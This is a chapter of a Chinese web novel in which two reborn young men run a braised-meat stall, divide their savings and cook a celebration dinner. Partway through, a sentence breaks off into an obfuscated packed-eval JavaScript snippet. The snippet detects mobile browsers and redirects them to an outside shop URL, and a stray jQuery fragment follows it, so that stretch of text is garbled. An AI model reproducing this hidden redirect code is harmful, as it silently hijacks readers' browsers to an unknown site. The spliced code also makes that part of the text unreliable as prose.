早起买菜,炖肉和面,趁着肉在锅里炖的时间另起小锅做个简单的早餐,而后烙饼,备上中午要卖的二十个肉夹馍和五斤熟五花肉块。
中午卖完回来接着洗猪头猪蹄等物,顺带做个午饭,吃过后趁着炖猪头肉的时间一个人去休息,之后剔猪头大骨,然后卤上猪头肉、猪蹄、鸡蛋、海带片、莲藕片、油豆腐、豆干、花生等一系列的东西,这个时候就换一个人去休息。等全部卤的差不多时,收拾上东西出摊。
出摊卖完卤肉,回家准备晚饭。这一顿通常比较丰盛,大多做干饭的时间多,比早餐午饭的饼、面条、粉、炒饭要费些功夫,搭配上两菜一汤,往往能吃的肚皮溜圆。
——这就是眼下应望和魏云舒的日常。
忙是真的忙碌,好在两人搭配,干活不累,休息的还算可以,而且钱也确实没少挣。从来时的家徒四壁、样样都缺到如今的不缺衣不缺食,刚需的毛巾、脸盆、肥皂、洗衣粉、牙膏牙刷、床单被褥等等东西也都慢慢的添置齐全。
看着屋子里的东西一点点增多,应望心里有种强烈的满足感。
除此之外,他们还攒了六百多块钱。
没错,除去一切开销花用的,他们手里的现金已经上六百了。
应望再三数过后,笑的眼睛都弯了起来,安全感也很足,至少接下来一段时间他们即便什么都不做也不必再为钱发愁了。
按照之前说的五五分账,应望从中数出六百块,分一半给魏云舒,另一半则自己收着的,剩下的就留作接下来的开销花用。
魏云舒原本想叫应望一块拿着,之后他要用的时候再取。可再一想,凡事都有意外,钱分开放也省的真出事被人家一锅端,所以就将三百块收下了。
分好钱,应望双眼发亮的望着魏云舒提议,“我们庆祝一下吧。”
魏云舒笑,“行啊。”
应望问:“你想吃什么?”
“饺子、锅包肉。”魏云舒脱口而出。
应望此时心情好,对于魏云舒的要求当然是要满足的,甚至还问:“还有吗?”
魏云舒说:“最想吃这两样,剩下的你看着来。”
应望笑着说:“行,那剩下的我来。”
应望在心里头琢磨起来。
饺子和锅包肉虽然繁琐一点,但做起来却不难。饺子当主食,锅包肉是荤菜,那可以再调个凉菜解腻,然后炖个汤。
因为要做顿好吃的,下午应望没跟着去卖卤味,就让魏云舒一个人去了,反正他们现在的生意不差,那些卤味要不了多久就能卖完。
应望拿上钱拎着篮子出门。
刚开始应望想着就调个最常见的韭菜鸡蛋、猪肉白菜、酸菜粉条之类的馅料,可到了菜市场却发现有人拎了半桶虾来卖,应望问了价,然后直接把半桶虾都买了下来。
之后又去称了肉、买了一条鱼、嫩玉米、蔬菜之类的东西,将菜篮子装的满满当当,这才带着半桶虾回家。
回到家,先调馅料。
自从摆摊能挣钱后应望和魏云舒的神经就放松了些,吃食上也不会亏待自己。像卖的肉夹馍卤肉这些也都会留一份给自己吃。所以这段时间下来,两人吃的猪肉其实不算少。
像他们刚重生的时候,两个人都瘦的很,尤其是应望,浑身上下只剩一架骨头,丁点儿肉都没有。而现在,他和魏云舒身上都已经长了些肉,精神头看着也比以前好多了。当然,也并不胖,就是普通人水平,没那么穿衣服空落落的打眼了。
因为平时没少吃肉夹馍和卤肉,所以应望干脆不包猪肉的,而是换了个之前还没试过的花样——玉米虾仁和素三鲜。
这两种馅料都比较简单,主打一个“鲜”字。
先去掉虾壳虾线,然后将焯过水的木耳和豆腐、煎好的鸡蛋、部分虾仁、香葱等东西该剁的剁该切的切,随后按照馅料配比加盐、味精、酱油、胡椒粉等调料及少许的油搅拌,馅料就准备的差不多了。
之后开始和面擀饺子皮。
饺子皮才擀好没包几个,应望就听到院子里传来响动声,走到客厅门口一看,果然是魏云舒。
“回来了。”应望招呼一声。
魏云舒将板车停在院子里,抬手擦了一把脸上的汗,“回来了。”
应望举起手里的东西,“我正在包饺子,手里不空,你先收拾下。”
魏云舒点头,“你忙,我来。”
应望:“好。”
因为知道张奶奶这个点儿要用厨房做饭,所以应望弄的这一摊子都是在客厅里。门窗都开着通风,坐里头能清晰听到魏云舒在院子里忙碌的声音。
而应望手底下的动作也不慢。
纯白面擀的饺子皮,一匙馅料往里一包,再用手一捏就是一个圆滚滚白胖胖的饺子。
两种馅料的饺子他是分开放的,这样想吃什么馅的直接下,也不怕弄混了。
等魏云舒在院子里把该洗的洗、该涮的涮好,应望这边也只剩最后几个饺子没包。
魏云舒进来坐下歇会儿,应望手上边忙边跟他聊天,“生意怎么样,忙的过来吗?”
魏云舒说:“生意挺好,就是你不在速度慢了点。”
应望笑,“被说了?”
“那倒没有。”魏云舒说:“不过好多人见你今天没去都在问。”
应望问:“那你怎么回答的?”
魏云舒挑眉,“说你在家准备好吃的。”
应望笑起来,“真的假的?”
魏云舒一本正经,“骗你干什么。”
应望看魏云舒的神情也看不出个名堂来,但感觉他应该不会这么直白了当的说,“我怎么不信呢。”
魏云舒问:“那你以为?”
应望说:“我觉得你应该会说我今天有事。”
魏云舒闷头笑了。
应望一看他这反应就知道是自己猜对了。
两人说了会儿话,应望手里的饺子也全包好了。
他站起身,收拾上面用过的面盆案板擀面杖,然后说:“云舒,我买了条鱼,你去把鱼杀了吧,我去洗这些东西。”
魏云舒也歇了的差不多了,“行。”
两人分工合作,速度很快。
魏云舒杀好鱼,见应望又拿着一堆东西到客厅,就问:“这鱼你打算怎么做?”
应望说:“做个鱼丸子。”
鱼丸子这种东西上辈子魏云舒是吃过的,可这辈子在小树村却没这种新鲜花样儿,此时听了话立刻就说:“我来打鱼丸。”
“行啊。”魏云舒说:“正好我去把小锅生上,用来炖个鱼汤。”
这条鱼并不是个很大,两斤都不到,不过两个人吃也足够了。魏云舒用刀把肉剔下来,剩下的鱼头鱼骨之类的就被应望拿去炖汤。
先加
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13477498|141938||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
层薄薄的底油稍稍煎一下,然后加水盖上锅盖炖。
鱼丸有魏云舒打,应望就去收拾其它的菜。
张奶奶一家的饭每天都很简单,这会儿她已经把今天的晚饭做好了。应望直接带着猪里脊去厨房,然后改刀切成片,加盐、料酒、胡椒粉腌制入味。
趁着腌制的时间,应望在灶里添柴烧上火,张奶奶他们刚用过的锅还是温热的,应望直接倒菜油。
之后磕了两个鸡蛋,加入适量淀粉和水调成糊状,将腌制好的肉片均匀裹上糊,最后放入烧至六七成熟的油里面炸。
油炸香很快蹿出来,刚才喝了两碗粥的刘青和刘芳顿时觉得自己又饿了。
里脊肉炸第一遍,再复炸,直至表面金黄酥脆出油锅。
此时锅里的油还有许多,后世论什么煎炸过后的油不能要,因为不健康。但这个时代是万万不能这么浪费的,应望也舍不得,他用油罐装了一部分出来,锅底只留下适量的,然后加入葱姜蒜爆香,再放入自制的西红柿酱、糖、醋等调料,小火煎熬至浓稠状时倒入炸好的肉片迅速翻炒,等它们均匀的裹上酱汁时出锅。
只闻着这味儿应望就馋了。
恰好此时魏云舒从外进来,“好香。”
应望指着锅包肉笑说:“刚出锅的。”
魏云舒凑过来,“我尝尝。”
有人捧场自己做的菜应望自然很高兴,当即就拿了双筷子给他。
魏云舒迫不及待夹了一块肉,牙齿一碰先是酥脆的口感,接着就是酸甜的滋味直击味蕾,油炸香混合着酱汁的酸甜一点都不腻,只剩下满嘴无与伦比的香。
魏云舒竖了个大拇指,然后用筷子夹了一块给应望,“快试试,你这手艺真是绝了。”
他动作自然,应望也没多想,张开嘴就把递到嘴边的肉吃了。
有点烫,可味道却很丰富,应望自己也觉得很不错。
尝过锅包肉的味道,肚里的馋虫已经彻底被勾了出来。魏云舒放下筷子,说:“鱼汤已经炖的差不多了,丸子我也打好了,还差什么吗?”
应望说:“我现在烧水煮饺子。”
魏云舒转身朝外走,“那我去把饺子端过来。”
应望:“好。”
又往灶里添了两根柴,先舀水把锅洗了,然后加水烧滚。应望揭开锅盖,问:“云舒,有玉米虾仁和素三鲜,你要吃哪种?”
魏云舒惊讶,“你还包了两种馅啊?”
应望说:“顺手。”
魏云舒想了想,“都下一点吧。”
这倒是跟自己想的一样。应望想着,手上却不慢,两种饺子都下了些,足够每人装一海碗。
等饺子熟的时间,魏云舒去把小锅里的鱼骨鱼刺过滤了一遍,然后下鱼丸煮。应望则把晚莴笋切丝,之后用辣椒盐酱醋糖芫荽之类的调了个料汁,一半用来凉拌莴笋丝,一半用来当蘸水吃饺子。
饺子熟了捞起来,加两勺煮鱼丸后剩下的鱼汤,这样汤饺也就好了。
两个人忙活,端菜的端菜拿碗筷的拿碗筷,很快客厅的桌子上就摆了不少。
一份金黄酥脆的锅包肉、一份翠绿清爽的凉拌莴笋丝、一份汤汁浓白的手打鱼丸,一份洗好的鲜枣,两海碗白白胖胖的饺子,外加每人一碟子蘸水,色香味俱全,卖相十足。
两人都已经这么熟了,也没有什么饭前仪式,拿着筷子就开动。